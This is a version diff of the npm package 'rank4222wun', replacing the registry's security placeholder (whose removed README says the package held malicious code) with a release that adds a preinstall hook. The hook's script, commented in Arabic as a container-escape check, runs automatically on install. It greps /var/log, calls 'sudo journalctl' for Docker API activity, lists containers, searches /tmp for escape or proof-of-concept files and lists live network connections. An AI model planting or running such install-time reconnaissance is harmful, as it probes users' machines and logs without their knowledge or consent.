rank4222wun 0.0.1-security → 1.0.26

package/package.json

@@ -1,6 +1,10 @@
 {
   "name": "rank4222wun",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.26",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node preinstall.js"
+  },
+  "dependencies": {}
 }

package/preinstall.js

@@ -0,0 +1,83 @@
+// verify-escape.js
+const fs = require('fs');
+const { execSync } = require('child_process');
+
+console.log("🔍 التحقق من آثار Container Escape\n");
+
+const evidence = {
+  timestamp: new Date().toISOString(),
+  checks: []
+};
+
+// 1. تحقق من سجلات nsenter
+try {
+  const nsenterLogs = execSync('grep -r "nsenter" /var/log/ 2>/dev/null | head -5', { encoding: 'utf8' });
+  if (nsenterLogs) {
+    evidence.checks.push({
+      check: 'nsenter_logs',
+      found: true,
+      logs: nsenterLogs.substring(0, 200)
+    });
+  }
+} catch (e) {}
+
+// 2. تحقق من طلبات Docker API
+try {
+  const dockerRequests = execSync('sudo journalctl -u docker --since "10 minutes ago" | grep -i "api.*create\|api.*start" | tail -5', { encoding: 'utf8' });
+  if (dockerRequests) {
+    evidence.checks.push({
+      check: 'docker_api_calls',
+      found: true,
+      requests: dockerRequests
+    });
+  }
+} catch (e) {}
+
+// 3. تحقق من الحاويات الجديدة
+try {
+  const newContainers = execSync('docker ps -a --filter "since=1h" --format "{{.Names}}|{{.Image}}"', { encoding: 'utf8' });
+  if (newContainers.trim()) {
+    evidence.checks.push({
+      check: 'new_containers',
+      found: true,
+      containers: newContainers.split('\n').filter(Boolean)
+    });
+  }
+} catch (e) {}
+
+// 4. تحقق من الملفات في /tmp
+try {
+  const tmpFiles = execSync('find /tmp -name "*escape*" -o -name "*poc*" -o -name "*container*" 2>/dev/null', { encoding: 'utf8' });
+  if (tmpFiles.trim()) {
+    evidence.checks.push({
+      check: 'suspicious_tmp_files',
+      found: true,
+      files: tmpFiles.split('\n').filter(Boolean)
+    });
+  }
+} catch (e) {}
+
+// 5. تحقق من اتصالات الشبكة
+try {
+  const networkConns = execSync('ss -tunap | grep -E ":443|:80" | grep -v "127.0.0.1"', { encoding: 'utf8' });
+  if (networkConns) {
+    evidence.checks.push({
+      check: 'external_connections',
+      found: true,
+      connections: networkConns.substring(0, 300)
+    });
+  }
+} catch (e) {}
+
+// عرض النتائج
+console.log("📊 نتائج التحقق:");
+evidence.checks.forEach((check, i) => {
+  console.log(`${check.found ? '🔴' : '🟢'} ${i+1}. ${check.check}: ${check.found ? 'مكتشف' : 'غير مكتشف'}`);
+  if (check.found && check.logs) {
+    console.log(`   📝 الأدلة: ${check.logs}`);
+  }
+});
+
+// تقييم المخاطر
+const suspiciousActivities = evidence.checks.filter(c => c.found).length;
+console.log(`\n🚨 مستوى الخطورة: ${suspiciousActivities > 2 ? 'عالٍ' : suspiciousActivities > 0 ? 'متوسط' : 'منخفض'}`);

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.